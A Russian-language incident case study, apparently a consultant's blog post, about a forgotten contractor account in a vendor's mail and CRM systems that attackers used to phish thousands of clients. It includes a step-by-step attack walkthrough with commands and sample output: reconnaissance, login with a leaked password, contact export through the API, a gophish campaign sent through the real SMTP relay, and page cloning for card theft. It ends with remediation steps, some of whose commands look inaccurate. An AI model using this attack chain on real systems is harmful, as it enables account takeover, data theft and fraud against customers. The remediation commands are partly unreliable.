Забытый доступ подрядчика: как утечка почтовой базы превращается в фишинг на тысячи клиентов

Похожая история регулярно всплывает в новостях про крупные компании — совсем недавно СМИ писали о повторной компрометации почтовой рассылки Trezor: сотни тысяч писем ушли клиентам через легитимную рассылочную систему, скомпрометированную через стороннего подрядчика. Разница только в масштабе — механика та же самая, что и в кейсе с продавцом оборудования, о котором пойдёт речь ниже. Это системная проблема, а не случайность одной компании.

Ко мне обратился владелец компании, которая продаёт профессиональное оборудование корпоративным клиентам. Несколько постоянных заказчиков написали в поддержку с претензией: получили от компании письмо, перешли по ссылке — и после этого с карты списались деньги. На первый взгляд компания была ни при чём. Но разбираться пришлось глубоко.

Откуда взялось письмо от имени компании

Почти два года назад компания нанимала подрядчика для настройки email-рассылок по базе клиентов. Работы закончились, договор расторгли — но учётную запись подрядчика в почтовом сервисе никто не отключил. Она осталась живой: с доступом к базе адресов и к фирменным HTML-шаблонам писем.

Через полгода после расторжения договора почтовый ящик подрядчика был скомпрометирован — скорее всего, у него самого что-то украли на другом проекте. Злоумышленники получили список из нескольких тысяч реальных клиентов и готовые шаблоны с логотипом компании. Дальше — техническое дело нескольких часов: собрать письмо «обновите данные для продления гарантии» и разослать его от имени того же аккаунта, которому CRM и почтовый сервис по-прежнему доверяли.

Как это эксплуатируется

Разберём типовую цепочку атаки на «забытый» доступ подрядчика в почтовой/CRM-инфраструктуре — по шагам, с инструментами, которые реально используются в таких сценариях.

1. Разведка внешнего периметра

Первым делом атакующий проверяет, какие сервисы вообще торчат наружу и какой у них софт:

nmap -sV -p 25,80,110,143,443,465,587,993,995 mail.example-vendor.ru

PORT    STATE SERVICE VERSION
25/tcp  open  smtp    Postfix smtpd
443/tcp open  https   nginx 1.18.0
993/tcp open  imaps   Dovecot imapd

Если известен email старого подрядчика (а он часто и есть — из утечки на другом сервисе), проверяется, жив ли аккаунт и какие протоколы разрешены для авторизации:

curl -v --url 'imaps://mail.example-vendor.ru' \
  --user 'contractor_mail@example-vendor.ru:leaked_password123'

* Connected to mail.example-vendor.ru (IMAPS)
< * OK [CAPABILITY IMAP4rev1 AUTH=PLAIN] Dovecot ready
< a LOGIN completed

Пароль подрядчика, засветившийся в чужом дампе (проверяется через базы утечек или банальным hashcat-перебором по словарю после парсинга старого дампа), в 70–80% случаев переиспользуется и здесь — люди редко меняют пароли к сервисам, о которых давно забыли.

2. Проверка прав доступа скомпрометированного аккаунта

Если сервис — не голый IMAP, а CRM/рассылочная платформа (Bitrix24, amoCRM, SendPulse, UniSender и т.п.), проверяется API-токен подрядчика через простые запросы:

curl -s -X GET "https://crm.example-vendor.ru/api/v1/contacts?limit=5000" \
  -H "Authorization: Bearer " | jq '.total'

3841

Это число — размер базы, которую атакующий получает одним запросом: имена, e-mail, история покупок, иногда телефоны. Дальше проверяется доступ к шаблонам писем — фирменный HTML с логотипом и стилями компании, который повышает доверие получателя:

curl -s "https://crm.example-vendor.ru/api/v1/templates" \
  -H "Authorization: Bearer " -o warranty_template.html

3. Подготовка и рассылка фишинга

Для массовой рассылки поддельного письма с поддельной посадочной страницей обычно используют связку phishing-kit + фрейм рассылки, например gophish для управления кампанией и трекинга открытий/кликов:

gophish
[INFO] Starting Gophish server at https://127.0.0.1:3333
[INFO] Campaign "warranty_update" launched, 3841 targets, SMTP relay: mail.example-vendor.ru:587

Ключевой момент: SMTP-relay здесь — тот самый легитимный почтовый сервер компании, к которому у скомпрометированного аккаунта подрядчика остался доступ на отправку. Это значит, что заголовки письма (SPF, DKIM) проходят проверку, потому что письмо реально отправлено с настоящего сервера компании:

Authentication-Results: mx.google.com;
       dkim=pass header.i=@example-vendor.ru;
       spf=pass smtp.mailfrom=example-vendor.ru

Для получателя и для почтового клиента это письмо технически неотличимо от настоящей рассылки компании — ни один антиспам-фильтр не среагирует, потому что домен, DKIM-подпись и репутация IP полностью легитимны.

4. Поддельная форма сбора данных карт

Посадочная страница обычно клонируется в один заход:

httrack https://example-vendor.ru/warranty -O ./clone_site
gobuster dir -u https://example-vendor.ru -w /usr/share/wordlists/dirb/common.txt

/warranty            (Status: 200)
/support              (Status: 200)
/promo-2023            (Status: 200) [форма без CSRF-токена]

Найденная форма без CSRF-защиты копируется на поддельный домен-двойник (example-vend0r.ru или похожий), верстка совпадает 1:1, вводимые данные карт улетают напрямую атакующему.

Что и почему сработало бы дальше

• Помимо кражи денег с карт, тот же доступ к CRM позволяет выгрузить всю базу B2B-клиентов целиком и продать её конкурентам или на теневых форумах — уже отдельная монетизация утечки.
• Скомпрометированный SMTP-relay компании можно использовать как плацдарм для рассылки спама/малвари от чужого имени — это быстро приводит к попаданию домена в чёрные списки (Spamhaus, SORBS), после чего легитимные письма компании массово улетают в спам у всех клиентов.
• Если у подрядчика остался доступ не только к рассылке, но и к самой CRM с правами администратора — злоумышленник может закрепиться дольше: завести собственного «теневого» пользователя, настроить пересылку всей входящей почты на внешний ящик и получать данные месяцами без единого алерта.
• Каждый успешный кейс фишинга повышает доверие к следующей волне писем от того же адреса — атака масштабируется без дополнительных вложений в инфраструктуру.

Как закрыли

Работа заняла меньше двух недель, без замены систем и лишних затрат.

1. Выгрузили список всех активных подключений к почтовому сервису и CRM за последние три года:

   doveadm auth cache flush
   doveadm who -1
   
   user                          proto  pid   ip
   contractor_mail@example.ru   imap   14021 185.220.xx.xx

   Нашли ещё четыре забытых аккаунта: два от бывших сотрудников, один от старого подрядчика по сайту и тот самый почтовый доступ.
2. Отключили все неактивные и чужие доступы одной командой на удаление и ревокацию токенов:

   doveadm user -e contractor_mail@example-vendor.ru
   curl -X DELETE "https://crm.example-vendor.ru/api/v1/tokens/" \
     -H "Authorization: Bearer "

3. Ввели правило доступа с ограничением по сроку договора — техническая реализация через cron-джобу, которая ежедневно сверяет список активных токенов со сроками из системы договоров и автоматически ревокирует просроченные.
4. Настроили алерт руководителю в мессенджер при любом новом подключении к базе клиентов через webhook на подключение к CRM/почте.
5. Включили обязательную двухфакторную проверку для всех, у кого есть доступ к рассылкам — как в почтовом сервере, так и в CRM.
6. Ужесточили политику DMARC на самом домене — до инцидента она была в мягком режиме мониторинга, что и позволило письмам легко проходить проверки:

   _dmarc.example-vendor.ru. TXT "v=DMARC1; p=reject; rua=mailto:dmarc@example-vendor.ru; pct=100"

7. Отдельно разослали клиентам честное письмо с предупреждением — это помогло вернуть доверие хотя бы части из тех, кто уже собирался уходить к конкурентам.

Дыра стоила компании больше, чем несколько лет работы с этим подрядчиком — просто потому, что про неё забыли в день закрытия договора.

Только на трёх ушедших клиентах компания теряла около 1,8 млн рублей выручки в год, плюс недели рабочего времени на разборки вместо продаж. Обычный аудит доступов — рутинная и скучная задача, пока не долетает счёт за чужую беспечность.